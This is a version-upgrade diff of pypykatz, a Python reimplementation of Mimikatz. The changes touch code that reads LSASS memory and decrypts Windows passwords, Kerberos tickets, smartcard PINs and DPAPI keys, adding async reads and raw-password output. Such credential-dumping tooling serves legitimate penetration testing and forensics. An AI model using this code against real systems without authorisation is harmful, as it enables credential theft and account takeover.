Codebase list pypykatz / 7e3dab4
Import upstream version 0.5.2 Kali Janitor 2 years ago
70 changed file(s) with 2679 addition(s) and 672 deletion(s). Raw diff Collapse all Expand all
00 Metadata-Version: 1.2
11 Name: pypykatz
2 Version: 0.4.9
2 Version: 0.5.2
33 Summary: Python implementation of Mimikatz
44 Home-page: https://github.com/skelsec/pypykatz
55 Author: Tamas Jos
1717 from pypykatz.registry.cmdhelper import RegistryCMDHelper
1818 from pypykatz.remote.cmdhelper import RemoteCMDHelper
1919 from pypykatz.dpapi.cmdhelper import DPAPICMDHelper
20 from pypykatz.rdp.cmdhelper import RDPCMDHelper
2021
21 cmdhelpers = [LSACMDHelper(), RegistryCMDHelper(), CryptoCMDHelper(), KerberosCMDHelper(), RemoteCMDHelper(), DPAPICMDHelper(), LDAPCMDHelper()]
22 cmdhelpers = [LSACMDHelper(), RegistryCMDHelper(), CryptoCMDHelper(), KerberosCMDHelper(), RemoteCMDHelper(), DPAPICMDHelper(), LDAPCMDHelper(), RDPCMDHelper()]
2223
2324 try:
2425 from pypykatz.smb.cmdhelper import SMBCMDHelper
00
1 __version__ = "0.4.9"
1 __version__ = "0.5.2"
22 __banner__ = \
33 """
44 # pypyKatz %s
8080 print(json.dumps(results, cls = UniversalEncoder, indent=4, sort_keys=True))
8181
8282 elif args.grep:
83 print(':'.join(LogonSession.grep_header))
83 if args.directory:
84 print(':'.join(['filename'] + LogonSession.grep_header))
85 else:
86 print(':'.join(LogonSession.grep_header))
8487 for result in results:
8588 for luid in results[result].logon_sessions:
8689 for row in results[result].logon_sessions[luid].to_grep_rows():
90 if args.directory:
91 row = [result] + row
8792 print(':'.join(row))
8893 for cred in results[result].orphaned_creds:
8994 t = cred.to_dict()
9095 if t['credtype'] != 'dpapi':
9196 if t['password'] is not None:
9297 x = [str(t['credtype']), str(t['domainname']), str(t['username']), '', '', '', '', '', str(t['password'])]
98 if args.directory:
99 x = [result] + x
93100 print(':'.join(x))
94101 else:
95102 t = cred.to_dict()
96103 x = [str(t['credtype']), '', '', '', '', '', str(t['masterkey']), str(t['sha1_masterkey']), str(t['key_guid']), '']
104 if args.directory:
105 x = [result] + x
97106 print(':'.join(x))
98107
99108 for pkg, err in results[result].errors:
100109 err_str = str(err) +'\r\n' + '\r\n'.join(traceback.format_tb(err.__traceback__))
101110 err_str = base64.b64encode(err_str.encode()).decode()
102111 x = [pkg+'_exception_please_report', '', '', '', '', '', '', '', '', err_str]
112 if args.directory:
113 x = [result] + x
103114 print(':'.join(x) + '\r\n')
104115
105116 else:
116116 if temp and len(temp) > 0:
117117 if bytes_expected == False:
118118 try: # normal password
119 dec_password = temp.decode('ascii')
119 dec_password = temp.decode('utf-16-le')
120120 except: # machine password
121121 try:
122122 dec_password = temp.decode('utf-8')
123123 except:
124124 try:
125 dec_password = temp.decode('utf-16-le')
125 dec_password = temp.decode('ascii')
126126 except:
127127 dec_password = temp.hex()
128128 else: # if not machine password, then check if we should trim it
131131 else:
132132 dec_password = temp
133133
134 return dec_password
134 return dec_password, temp
135135
136136 async def walk_avl(self, node_ptr, result_ptr_list):
137137 """
5757 cred.cachedir = cache.toname.decode('utf-16-le').replace('\x00','')
5858 if cache.cbPRT != 0 and cache.PRT.value != 0:
5959 ptr_enc = await cache.PRT.read_raw(self.reader, cache.cbPRT)
60 temp = self.decrypt_password(ptr_enc, bytes_expected=True)
60 temp, raw_dec = self.decrypt_password(ptr_enc, bytes_expected=True)
6161 try:
6262 temp = temp.decode()
6363 except:
6969 unk = await cache.toDetermine.read(self.reader)
7070 if unk is not None:
7171 cred.key_guid = unk.guid.value
72 cred.dpapi_key = self.decrypt_password(unk.unk)
72 cred.dpapi_key, raw_dec = self.decrypt_password(unk.unk)
7373 cred.dpapi_key_sha1 = hashlib.sha1(bytes.fromhex(cred.dpapi_key)).hexdigest()
7474
7575 if cred.PRT is None and cred.key_guid is None:
5151 async def add_entry(self, dpapi_entry):
5252
5353 if dpapi_entry and dpapi_entry.keySize > 0: #and dpapi_entry.keySize % 8 == 0:
54 dec_masterkey = self.decrypt_password(dpapi_entry.key, bytes_expected = True)
54 dec_masterkey, raw_dec = self.decrypt_password(dpapi_entry.key, bytes_expected = True)
5555 sha_masterkey = hashlib.sha1(dec_masterkey).hexdigest()
5656
5757 c = DpapiCredential()
6969 self.current_ticket_type = None
7070 self.current_cred = None
7171
72 def find_first_entry(self):
73 position = self.find_signature('kerberos.dll',self.decryptor_template.signature)
74 ptr_entry_loc = self.reader.get_ptr_with_offset(position + self.decryptor_template.first_entry_offset)
75 ptr_entry = self.reader.get_ptr(ptr_entry_loc)
72 async def find_first_entry(self):
73 position = await self.find_signature('kerberos.dll',self.decryptor_template.signature)
74 ptr_entry_loc = await self.reader.get_ptr_with_offset(position + self.decryptor_template.first_entry_offset)
75 ptr_entry = await self.reader.get_ptr(ptr_entry_loc)
7676 return ptr_entry, ptr_entry_loc
7777
7878 def handle_ticket(self, kerberos_ticket):
8383 except Exception as e:
8484 raise e
8585
86 def start(self):
86 async def start(self):
8787 try:
88 entry_ptr_value, entry_ptr_loc = self.find_first_entry()
88 entry_ptr_value, entry_ptr_loc = await self.find_first_entry()
8989 except Exception as e:
9090 self.log('Failed to find structs! Reason: %s' % e)
9191 return
9292
9393 if self.sysinfo.buildnumber < WindowsMinBuild.WIN_VISTA.value:
94 self.reader.move(entry_ptr_loc)
95 entry_ptr = PLIST_ENTRY(self.reader)
96 self.walk_list(entry_ptr, self.process_session_elist)
94 await self.reader.move(entry_ptr_loc)
95 entry_ptr = await PLIST_ENTRY.load(self.reader)
96 await self.walk_list(entry_ptr, self.process_session_elist)
9797 else:
9898 result_ptr_list = []
99 self.reader.move(entry_ptr_value)
100 start_node = PRTL_AVL_TABLE(self.reader).read(self.reader)
101 self.walk_avl(start_node.BalancedRoot.RightChild, result_ptr_list)
99 await self.reader.move(entry_ptr_value)
100 start_node = await PRTL_AVL_TABLE.load(self.reader).read(self.reader)
101 await self.walk_avl(start_node.BalancedRoot.RightChild, result_ptr_list)
102102
103103 for ptr in result_ptr_list:
104104 self.log_ptr(ptr, self.decryptor_template.kerberos_session_struct.__name__)
105 self.reader.move(ptr)
106 kerberos_logon_session = self.decryptor_template.kerberos_session_struct(self.reader)
107 self.process_session(kerberos_logon_session)
108
109 def process_session_elist(self, elist):
110 self.reader.move(elist.location)
111 self.reader.read_uint() #Flink do not remove this line!
112 self.reader.read_uint() #Blink do not remove this line!
113 kerberos_logon_session = self.decryptor_template.kerberos_session_struct(self.reader)
114 self.process_session(kerberos_logon_session)
115
116 def process_session(self, kerberos_logon_session):
105 await self.reader.move(ptr)
106 kerberos_logon_session = await self.decryptor_template.kerberos_session_struct.load(self.reader)
107 await self.process_session(kerberos_logon_session)
108
109 async def process_session_elist(self, elist):
110 await self.reader.move(elist.location)
111 await self.reader.read_uint() #Flink do not remove this line!
112 await self.reader.read_uint() #Blink do not remove this line!
113 kerberos_logon_session = await self.decryptor_template.kerberos_session_struct.load(self.reader)
114 await self.process_session(kerberos_logon_session)
115
116 async def process_session(self, kerberos_logon_session):
117117 self.current_cred = KerberosCredential()
118118 self.current_cred.luid = kerberos_logon_session.LocallyUniqueIdentifier
119119
120 self.current_cred.username = kerberos_logon_session.credentials.UserName.read_string(self.reader)
121 self.current_cred.domainname = kerberos_logon_session.credentials.Domaine.read_string(self.reader)
120 self.current_cred.username = await kerberos_logon_session.credentials.UserName.read_string(self.reader)
121 self.current_cred.domainname = await kerberos_logon_session.credentials.Domaine.read_string(self.reader)
122122 if self.current_cred.username.endswith('$') is True:
123 self.current_cred.password = self.decrypt_password(kerberos_logon_session.credentials.Password.read_maxdata(self.reader), bytes_expected=True)
123 self.current_cred.password, raw_dec = self.decrypt_password(kerberos_logon_session.credentials.Password.read_maxdata(self.reader), bytes_expected=True)
124124 if self.current_cred.password is not None:
125125 self.current_cred.password = self.current_cred.password.hex()
126126 else:
127 self.current_cred.password = self.decrypt_password(kerberos_logon_session.credentials.Password.read_maxdata(self.reader))
127 self.current_cred.password, raw_dec = self.decrypt_password(kerberos_logon_session.credentials.Password.read_maxdata(self.reader))
128128
129129 if kerberos_logon_session.SmartcardInfos.value != 0:
130 csp_info = kerberos_logon_session.SmartcardInfos.read(self.reader, override_finaltype = self.decryptor_template.csp_info_struct)
131 pin_enc = csp_info.PinCode.read_maxdata(self.reader)
132 self.current_cred.pin = self.decrypt_password(pin_enc)
130 csp_info = await kerberos_logon_session.SmartcardInfos.read(self.reader, override_finaltype = self.decryptor_template.csp_info_struct)
131 pin_enc = await csp_info.PinCode.read_maxdata(self.reader)
132 self.current_cred.pin, raw_dec = self.decrypt_password(pin_enc)
133133 if csp_info.CspDataLength != 0:
134134 self.current_cred.cardinfo = csp_info.CspData.get_infos()
135135
136136 #### key list (still in session) this is not a linked list (thank god!)
137137 if kerberos_logon_session.pKeyList.value != 0:
138 key_list = kerberos_logon_session.pKeyList.read(self.reader, override_finaltype = self.decryptor_template.keys_list_struct)
138 key_list = await kerberos_logon_session.pKeyList.read(self.reader, override_finaltype = self.decryptor_template.keys_list_struct)
139139 #print(key_list.cbItem)
140 key_list.read(self.reader, self.decryptor_template.hash_password_struct)
140 await key_list.read(self.reader, self.decryptor_template.hash_password_struct)
141141 for key in key_list.KeyEntries:
142142 pass
143143 ### GOOD
144144 #keydata_enc = key.generic.Checksump.read_raw(self.reader, key.generic.Size)
145145 #print(keydata_enc)
146 #keydata = self.decrypt_password(keydata_enc, bytes_expected=True)
146 #keydata, raw_dec = self.decrypt_password(keydata_enc, bytes_expected=True)
147147 #print(keydata_enc.hex())
148148 #input('KEY?')
149149
203203 kerberos_logon_session.Tickets_1.Flink.value != kerberos_logon_session.Tickets_1.Flink.location and \
204204 kerberos_logon_session.Tickets_1.Flink.value != kerberos_logon_session.Tickets_1.Flink.location - 4 :
205205 self.current_ticket_type = KerberosTicketType.TGS
206 self.walk_list(kerberos_logon_session.Tickets_1.Flink, self.handle_ticket , override_ptr = self.decryptor_template.kerberos_ticket_struct)
206 await self.walk_list(kerberos_logon_session.Tickets_1.Flink, self.handle_ticket , override_ptr = self.decryptor_template.kerberos_ticket_struct)
207207
208208 if kerberos_logon_session.Tickets_2.Flink.value != 0 and \
209209 kerberos_logon_session.Tickets_2.Flink.value != kerberos_logon_session.Tickets_2.Flink.location and \
210210 kerberos_logon_session.Tickets_2.Flink.value != kerberos_logon_session.Tickets_2.Flink.location - 4 :
211211 self.current_ticket_type = KerberosTicketType.CLIENT
212 self.walk_list(kerberos_logon_session.Tickets_2.Flink,self.handle_ticket , override_ptr = self.decryptor_template.kerberos_ticket_struct)
212 await self.walk_list(kerberos_logon_session.Tickets_2.Flink,self.handle_ticket , override_ptr = self.decryptor_template.kerberos_ticket_struct)
213213
214214 if kerberos_logon_session.Tickets_3.Flink.value != 0 and \
215215 kerberos_logon_session.Tickets_3.Flink.value != kerberos_logon_session.Tickets_3.Flink.location and \
216216 kerberos_logon_session.Tickets_3.Flink.value != kerberos_logon_session.Tickets_3.Flink.location - 4 :
217217 self.current_ticket_type = KerberosTicketType.TGT
218 self.walk_list(kerberos_logon_session.Tickets_3.Flink,self.handle_ticket , override_ptr = self.decryptor_template.kerberos_ticket_struct)
218 await self.walk_list(kerberos_logon_session.Tickets_3.Flink,self.handle_ticket , override_ptr = self.decryptor_template.kerberos_ticket_struct)
219219 self.current_ticket_type = None
220220 self.credentials.append(self.current_cred)
221221
1212 self.username = None
1313 self.domainname = None
1414 self.password = None
15 self.password_raw = None
1516 self.luid = None
1617
1718 def to_dict(self):
2021 t['username'] = self.username
2122 t['domainname'] = self.domainname
2223 t['password'] = self.password
24 t['password_raw'] = self.password_raw
2325 t['luid'] = self.luid
2426 return t
2527 def to_json(self):
3032 t += '\tusername %s\n' % self.username
3133 t += '\tdomainname %s\n' % self.domainname
3234 t += '\tpassword %s\n' % self.password
35 t += '\t\tpassword (hex)%s\n' % self.password_raw.hex()
3336 return t
3437
3538 class LiveSspDecryptor(PackageDecryptor):
5558 if suppCreds.credentials.Password.Length != 0:
5659 enc_data = await suppCreds.credentials.Password.read_maxdata(self.reader)
5760 if c.username.endswith('$') is True:
58 c.password = self.decrypt_password(enc_data, bytes_expected=True)
61 c.password, c.password_raw = self.decrypt_password(enc_data, bytes_expected=True)
5962 if c.password is not None:
6063 c.password = c.password.hex()
6164 else:
62 c.password = self.decrypt_password(enc_data)
65 c.password, c.password_raw = self.decrypt_password(enc_data)
6366
6467 self.credentials.append(c)
6568
3030 t['LMHash'] = self.LMHash
3131 t['SHAHash'] = self.SHAHash
3232 t['DPAPI'] = self.DPAPI
33 t['isoProt'] = self.isoProt
3334 return t
3435
3536 def to_json(self):
5152 self.luid = None
5253 self.username = None
5354 self.password = None
55 self.password_raw = None
5456 self.domainname = None
5557
5658 def to_dict(self):
5961 t['username'] = self.username
6062 t['domainname'] = self.domainname
6163 t['password'] = self.password
64 t['password_raw'] = self.password_raw
6265 t['luid'] = self.luid
6366 return t
6467
7174 t += '\t\tusername %s\n' % self.username
7275 t += '\t\tdomain %s\n' % self.domainname
7376 t += '\t\tpassword %s\n' % self.password
77 t += '\t\tpassword (hex)%s\n' % self.password_raw.hex()
7478 return t
7579
7680
332336 if credman_credential_entry.cbEncPassword and credman_credential_entry.cbEncPassword != 0:
333337 enc_data = await credman_credential_entry.encPassword.read_raw(self.reader, credman_credential_entry.cbEncPassword)
334338 if c.username.endswith('$') is True:
335 c.password = self.decrypt_password(enc_data, bytes_expected=True)
339 c.password, c.password_raw = self.decrypt_password(enc_data, bytes_expected=True)
336340 if c.password is not None:
337341 c.password = c.password.hex()
338342 else:
339 c.password = self.decrypt_password(enc_data)
343 c.password, c.password_raw = self.decrypt_password(enc_data)
340344
341345 c.luid = self.current_logonsession.luid
342346
352356
353357 self.log('Encrypted credential data \n%s' % hexdump(encrypted_credential_data))
354358 self.log('Decrypting credential structure')
355 dec_data = self.decrypt_password(encrypted_credential_data, bytes_expected = True)
359 dec_data, raw_dec = self.decrypt_password(encrypted_credential_data, bytes_expected = True)
356360 self.log('%s: \n%s' % (self.decryptor_template.decrypted_credential_struct.__name__, hexdump(dec_data)))
357361
358362 struct_reader = AGenericReader(dec_data, self.sysinfo.architecture)
1313 self.username = None
1414 self.domainname = None
1515 self.password = None
16 self.password_raw = None
1617 self.luid = None
1718
1819 def to_dict(self):
2122 t['username'] = self.username
2223 t['domainname'] = self.domainname
2324 t['password'] = self.password
25 t['password_raw'] = self.password_raw
2426 t['luid'] = self.luid
2527 return t
2628
3234 t += '\t\tusername %s\n' % self.username
3335 t += '\t\tdomainname %s\n' % self.domainname
3436 t += '\t\tpassword %s\n' % self.password
37 t += '\t\tpassword (hex)%s\n' % self.password_raw.hex()
3538 return t
3639
3740 class SspDecryptor(PackageDecryptor):
5457 if ssp_entry.credentials.Password.Length != 0:
5558 if c.username.endswith('$') is True or c.domainname.endswith('$') is True:
5659 enc_data = await ssp_entry.credentials.Password.read_data(self.reader)
57 c.password = self.decrypt_password(enc_data, bytes_expected=True)
60 c.password, c.password_raw = self.decrypt_password(enc_data, bytes_expected=True)
5861 if c.password is not None:
5962 c.password = c.password.hex()
6063 else:
6164 enc_data = await ssp_entry.credentials.Password.read_data(self.reader)
62 c.password = self.decrypt_password(enc_data)
65 c.password, c.password_raw = self.decrypt_password(enc_data)
6366
6467 if c.username == '' and c.domainname == '' and c.password is None:
6568 return
1515 self.username = None
1616 self.domainname = None
1717 self.password = None
18 self.password_raw = None
1819 self.luid = None
1920
2021 def to_dict(self):
2324 t['username'] = self.username
2425 t['domainname'] = self.domainname
2526 t['password'] = self.password
27 t['password_raw'] = self.password_raw
2628 t['luid'] = self.luid
2729 return t
30
2831 def to_json(self):
2932 return json.dumps(self.to_dict())
3033
3336 t += '\t\tusername %s\n' % self.username
3437 t += '\t\tdomainname %s\n' % self.domainname
3538 t += '\t\tpassword %s\n' % self.password
39 t += '\t\tpassword (hex)%s\n' % self.password_raw.hex()
3640 return t
3741
3842 class TspkgDecryptor(PackageDecryptor):
8286 if primary_credential.credentials.Password.Length != 0:
8387 enc_data = await primary_credential.credentials.Password.read_maxdata(self.reader)
8488 if c.username.endswith('$') is True:
85 c.password = self.decrypt_password(enc_data, bytes_expected=True)
89 c.password, c.password_raw = self.decrypt_password(enc_data, bytes_expected=True)
8690 if c.password is not None:
8791 c.password = c.password.hex()
8892 else:
89 c.password = self.decrypt_password(enc_data)
93 c.password, c.password_raw = self.decrypt_password(enc_data)
9094
9195 self.credentials.append(c)
1414 self.username = None
1515 self.domainname = None
1616 self.password = None
17 self.password_raw = None
1718 self.luid = None
1819
1920 def to_dict(self):
2223 t['username'] = self.username
2324 t['domainname'] = self.domainname
2425 t['password'] = self.password
26 t['password_raw'] = self.password_raw
2527 t['luid'] = self.luid
2628 return t
2729 def to_json(self):
3234 t += '\t\tusername %s\n' % self.username
3335 t += '\t\tdomainname %s\n' % self.domainname
3436 t += '\t\tpassword %s\n' % self.password
37 t += '\t\tpassword (hex)%s\n' % self.password_raw.hex()
3538 return t
3639
3740 class WdigestDecryptor(PackageDecryptor):
6467 wc.domainname = await DomainName.read_string(self.reader)
6568 wc.encrypted_password = await Password.read_maxdata(self.reader)
6669 if wc.username.endswith('$') is True:
67 wc.password = self.decrypt_password(wc.encrypted_password, bytes_expected=True)
70 wc.password, wc.password_raw = self.decrypt_password(wc.encrypted_password, bytes_expected=True)
6871 if wc.password is not None:
6972 wc.password = wc.password.hex()
7073 else:
71 wc.password = self.decrypt_password(wc.encrypted_password)
74 wc.password, wc.password_raw = self.decrypt_password(wc.encrypted_password)
7275
7376 if wc.username == '' and wc.domainname == '' and wc.password is None:
7477 return
380380 @note Full support for python2 and python3 !
381381 '''
382382 result = []
383 if src is None:
384 return ''
383385
384386 # Python3 support
385387 try:
2929
3030
3131 from .defines import *
32
33 STILL_ACTIVE = 259
34
35 WAIT_TIMEOUT = 0x102
36 WAIT_FAILED = -1
37 WAIT_OBJECT_0 = 0
38
3239
3340 PAGE_NOACCESS = 0x01
3441 PAGE_READONLY = 0x02
668675 _fields_ = (('Level', UCHAR),
669676 ('obj', UNION_PS_PROTECTION),
670677 )
678
679
680 # BOOL WINAPI GetExitCodeThread(
681 # __in HANDLE hThread,
682 # __out LPDWORD lpExitCode
683 # );
684 def GetExitCodeThread(hThread):
685 _GetExitCodeThread = windll.kernel32.GetExitCodeThread
686 _GetExitCodeThread.argtypes = [HANDLE, PDWORD]
687 _GetExitCodeThread.restype = bool
688 _GetExitCodeThread.errcheck = RaiseIfZero
689
690 lpExitCode = DWORD(0)
691 _GetExitCodeThread(hThread, byref(lpExitCode))
692 return lpExitCode.value
693
694 # DWORD WINAPI WaitForSingleObject(
695 # HANDLE hHandle,
696 # DWORD dwMilliseconds
697 # );
698 def WaitForSingleObject(hHandle, dwMilliseconds = INFINITE):
699 _WaitForSingleObject = windll.kernel32.WaitForSingleObject
700 _WaitForSingleObject.argtypes = [HANDLE, DWORD]
701 _WaitForSingleObject.restype = DWORD
702
703 if not dwMilliseconds and dwMilliseconds != 0:
704 dwMilliseconds = INFINITE
705 if dwMilliseconds != INFINITE:
706 r = _WaitForSingleObject(hHandle, dwMilliseconds)
707 if r == WAIT_FAILED:
708 raise ctypes.WinError()
709 else:
710 while 1:
711 r = _WaitForSingleObject(hHandle, 100)
712 if r == WAIT_FAILED:
713 raise ctypes.WinError()
714 if r != WAIT_TIMEOUT:
715 break
716 return r
55
66 from pypykatz.commons.readers.local.common.kernel32 import *
77 from pypykatz.commons.readers.local.common.psapi import *
8 from pypykatz.commons.readers.local.common.version import *
89
910 class WindowsMinBuild(enum.Enum):
1011 WIN_XP = 2500
1718
1819
1920 #utter microsoft bullshit commencing..
20 def getWindowsBuild():
21 class OSVersionInfo(ctypes.Structure):
22 _fields_ = [
23 ("dwOSVersionInfoSize" , ctypes.c_int),
24 ("dwMajorVersion" , ctypes.c_int),
25 ("dwMinorVersion" , ctypes.c_int),
26 ("dwBuildNumber" , ctypes.c_int),
27 ("dwPlatformId" , ctypes.c_int),
28 ("szCSDVersion" , ctypes.c_char*128)];
29 GetVersionEx = getattr( ctypes.windll.kernel32 , "GetVersionExA")
30 version = OSVersionInfo()
31 version.dwOSVersionInfoSize = ctypes.sizeof(OSVersionInfo)
32 GetVersionEx( ctypes.byref(version) )
33 return version.dwBuildNumber
21 def getWindowsBuild():
22
23 version = GetVersionExA()
24 return version.dwBuildNumber
25
26 #class OSVersionInfo(ctypes.Structure):
27 # _fields_ = [
28 # ("dwOSVersionInfoSize" , ctypes.c_int),
29 # ("dwMajorVersion" , ctypes.c_int),
30 # ("dwMinorVersion" , ctypes.c_int),
31 # ("dwBuildNumber" , ctypes.c_int),
32 # ("dwPlatformId" , ctypes.c_int),
33 # ("szCSDVersion" , ctypes.c_char*128)];
34 #GetVersionEx = getattr( ctypes.windll.kernel32 , "GetVersionExA")
35 #version = OSVersionInfo()
36 #version.dwOSVersionInfoSize = ctypes.sizeof(OSVersionInfo)
37 #GetVersionEx( ctypes.byref(version) )
38 #return version.dwBuildNumber
3439
3540 DELETE = 0x00010000
3641 READ_CONTROL = 0x00020000
4954
5055
5156 def QueryDosDevice(drive_letter):
52 buffer_length = 1024
53 buf = ctypes.create_unicode_buffer(buffer_length)
54 status = windll.kernel32.QueryDosDeviceW(drive_letter, buf, buffer_length)
55 if status == 0:
56 raise ctypes.WinError()
57 return buf.value
57 buffer_length = 1024
58 buf = ctypes.create_unicode_buffer(buffer_length)
59 status = windll.kernel32.QueryDosDeviceW(drive_letter, buf, buffer_length)
60 if status == 0:
61 raise ctypes.WinError()
62 return buf.value
5863
5964
6065 def get_drives():
61 drives = []
62 bitmask = windll.kernel32.GetLogicalDrives()
63 for letter in 'ABCDEFGHIJKLMNOPQRSTUVWXYZ':
64 if bitmask & 1:
65 drives.append(letter + ':')
66 bitmask >>= 1
67 return drives
66 drives = []
67 bitmask = windll.kernel32.GetLogicalDrives()
68 for letter in 'ABCDEFGHIJKLMNOPQRSTUVWXYZ':
69 if bitmask & 1:
70 drives.append(letter + ':')
71 bitmask >>= 1
72 return drives
6873
6974 def get_device_prefixes():
70 device_prefixes = {}
71 drives = get_drives()
72 for drive in drives:
73 device_prefixes[QueryDosDevice(drive)] = drive
74 return device_prefixes
75 device_prefixes = {}
76 drives = get_drives()
77 for drive in drives:
78 device_prefixes[QueryDosDevice(drive)] = drive
79 return device_prefixes
7580
7681 DEVICE_PREFIXES = get_device_prefixes()
7782
8691 # Get full normalized image path of a process using NtQuerySystemInformation
8792 # It doesn't need any special privileges
8893 def get_process_full_imagename(pid):
89 _NtQuerySystemInformation = windll.ntdll.NtQuerySystemInformation
90 image_filename = ''
91 buf = ctypes.create_unicode_buffer(0x1000)
92 process_info = SYSTEM_PROCESS_ID_INFORMATION()
93 process_info.ProcessId = ctypes.c_void_p(pid)
94 process_info.ImageName.MaximumLength = len(buf)
95 process_info.ImageName.Buffer = addressof(buf)
96 status = _NtQuerySystemInformation(
97 SystemProcessIdInformation,
98 process_info,
99 sizeof(process_info),
100 None)
101 if status == STATUS_INFO_LENGTH_MISMATCH:
102 buf = ctypes.create_unicode_buffer(MAX_PATH_UNICODE)
103 process_info.ImageName.MaximumLength = len(buf)
104 process_info.ImageName.Buffer = addressof(buf)
105 status = _NtQuerySystemInformation(
106 SystemProcessIdInformation,
107 process_info,
108 sizeof(process_info),
109 None)
110 if status == 0:
111 image_filename = str(process_info.ImageName.Buffer)
112 if image_filename.startswith('\\Device\\'):
113 for win_path in DEVICE_PREFIXES:
114 if image_filename.startswith(win_path):
115 image_filename = DEVICE_PREFIXES[win_path] + image_filename[len(win_path):]
116 else:
117 image_filename = 'N/A'
118 return image_filename
94 _NtQuerySystemInformation = windll.ntdll.NtQuerySystemInformation
95 image_filename = ''
96 buf = ctypes.create_unicode_buffer(0x1000)
97 process_info = SYSTEM_PROCESS_ID_INFORMATION()
98 process_info.ProcessId = ctypes.c_void_p(pid)
99 process_info.ImageName.MaximumLength = len(buf)
100 process_info.ImageName.Buffer = addressof(buf)
101 status = _NtQuerySystemInformation(
102 SystemProcessIdInformation,
103 process_info,
104 sizeof(process_info),
105 None)
106 if status == STATUS_INFO_LENGTH_MISMATCH:
107 buf = ctypes.create_unicode_buffer(MAX_PATH_UNICODE)
108 process_info.ImageName.MaximumLength = len(buf)
109 process_info.ImageName.Buffer = addressof(buf)
110 status = _NtQuerySystemInformation(
111 SystemProcessIdInformation,
112 process_info,
113 sizeof(process_info),
114 None)
115 if status == 0:
116 image_filename = str(process_info.ImageName.Buffer)
117 if image_filename.startswith('\\Device\\'):
118 for win_path in DEVICE_PREFIXES:
119 if image_filename.startswith(win_path):
120 image_filename = DEVICE_PREFIXES[win_path] + image_filename[len(win_path):]
121 else:
122 image_filename = 'N/A'
123 return image_filename
119124
120125 PS_PROTECTED_TYPE_STRINGS = [None,"Light","Full"]
121 PS_PROTECTED_SIGNER_STRINGS = [None, "Authenticode", "CodeGen", "Antimalware", "Lsa",
122 "Windows", "WinTcb", "WinSystem", "StoreApp"]
126 PS_PROTECTED_SIGNER_STRINGS = [
127 None, "Authenticode", "CodeGen", "Antimalware", "Lsa",
128 "Windows", "WinTcb", "WinSystem", "StoreApp"]
123129 PS_PROTECTED_TYPE_OLD_OS_STRINGS = [None,"System protected process"]
124130
125131 #https://msdn.microsoft.com/en-us/library/windows/desktop/ms683217(v=vs.85).aspx
149155 return pid_to_name
150156
151157 def get_process_extended_basic_information(pid,process_handle=None):
152 process_basic_info = PROCESS_EXTENDED_BASIC_INFORMATION()
153 process_basic_info.Size = sizeof(PROCESS_EXTENDED_BASIC_INFORMATION)
154 _NtQueryInformationProcess = windll.ntdll.NtQueryInformationProcess
155 if process_handle == None:
156 process_handle = OpenProcess(PROCESS_QUERY_LIMITED_INFORMATION, False, pid)
157
158 status = _NtQueryInformationProcess(process_handle,
159 ProcessBasicInformation,
160 byref(process_basic_info),
161 process_basic_info.Size,
162 None)
163 if status < 0:
164 raise ctypes.WinError()
165 CloseHandle(process_handle)
166 return process_basic_info
158 process_basic_info = PROCESS_EXTENDED_BASIC_INFORMATION()
159 process_basic_info.Size = sizeof(PROCESS_EXTENDED_BASIC_INFORMATION)
160 _NtQueryInformationProcess = windll.ntdll.NtQueryInformationProcess
161 if process_handle == None:
162 process_handle = OpenProcess(PROCESS_QUERY_LIMITED_INFORMATION, False, pid)
163
164 status = _NtQueryInformationProcess(process_handle,
165 ProcessBasicInformation,
166 byref(process_basic_info),
167 process_basic_info.Size,
168 None)
169 if status < 0:
170 raise ctypes.WinError()
171 CloseHandle(process_handle)
172 return process_basic_info
167173
168174
169175 def get_protected_process_infos(pid,process_handle=None):
170 process_protection_infos = None
171 _NtQueryInformationProcess = windll.ntdll.NtQueryInformationProcess
172 if process_handle == None:
173 process_handle = OpenProcess(PROCESS_QUERY_LIMITED_INFORMATION, False, pid)
174 if WINDOWS_BUILD_NUMBER >= WindowsMinBuild.WIN_8.value:
175 protection_info = PS_PROTECTION()
176 status = _NtQueryInformationProcess(process_handle,
177 ProcessProtectionInformation,
178 byref(protection_info),
179 sizeof(protection_info),
180 None)
181 if status < 0:
182 raise ctypes.WinError()
183 if protection_info.Type > 0:
184 process_protection_infos = {"level": protection_info.Level,
185 "type": PS_PROTECTED_TYPE_STRINGS[protection_info.Type],
186 "signer": PS_PROTECTED_SIGNER_STRINGS[protection_info.Signer],
187 "audit": protection_info.Audit}
188 else:
189 _ps_extended_basic_information = get_process_extended_basic_information(pid,process_handle)
190 if _ps_extended_basic_information.IsProtectedProcess:
191 process_protection_infos = {"type": 'System protected process'}
192 CloseHandle(process_handle)
193 return process_protection_infos
176 process_protection_infos = None
177 _NtQueryInformationProcess = windll.ntdll.NtQueryInformationProcess
178 if process_handle == None:
179 process_handle = OpenProcess(PROCESS_QUERY_LIMITED_INFORMATION, False, pid)
180 if WINDOWS_BUILD_NUMBER >= WindowsMinBuild.WIN_8.value:
181 protection_info = PS_PROTECTION()
182 status = _NtQueryInformationProcess(process_handle,
183 ProcessProtectionInformation,
184 byref(protection_info),
185 sizeof(protection_info),
186 None)
187 if status < 0:
188 raise ctypes.WinError()
189 if protection_info.Type > 0:
190 process_protection_infos = {"level": protection_info.Level,
191 "type": PS_PROTECTED_TYPE_STRINGS[protection_info.Type],
192 "signer": PS_PROTECTED_SIGNER_STRINGS[protection_info.Signer],
193 "audit": protection_info.Audit}
194 else:
195 _ps_extended_basic_information = get_process_extended_basic_information(pid,process_handle)
196 if _ps_extended_basic_information.IsProtectedProcess:
197 process_protection_infos = {"type": 'System protected process'}
198 CloseHandle(process_handle)
199 return process_protection_infos
194200
195201 def get_lsass_pid():
202 return pid_for_name('lsass.exe')
203
204 def pid_for_name(process_name):
196205 pid_to_name = enum_process_names()
197206 for pid in pid_to_name:
198 if pid_to_name[pid].lower().endswith('lsass.exe'):
207 if pid_to_name[pid].lower().endswith(process_name):
199208 return pid
200209
201 raise Exception('Failed to find lsass.exe')
210 raise Exception('Failed to find %s' % process_name)
3333
3434 def inrange(self, addr):
3535 return self.baseaddress <= addr < self.endaddress
36
36
37 @staticmethod
3738 def parse(name, module_info, timestamp):
3839 m = Module()
3940 m.name = name
5758 self.EndAddress = None
5859
5960 self.data = None
60
61
62 @staticmethod
6163 def parse(page_info):
6264 p = Page()
6365 p.BaseAddress = page_info.BaseAddress
6769 p.EndAddress = page_info.BaseAddress + page_info.RegionSize
6870 return p
6971
70 def read_data(self, lsass_process_handle):
71 self.data = ReadProcessMemory(lsass_process_handle, self.BaseAddress, self.RegionSize)
72 def read_data(self, process_handle):
73 self.data = ReadProcessMemory(process_handle, self.BaseAddress, self.RegionSize)
7274
7375 def inrange(self, addr):
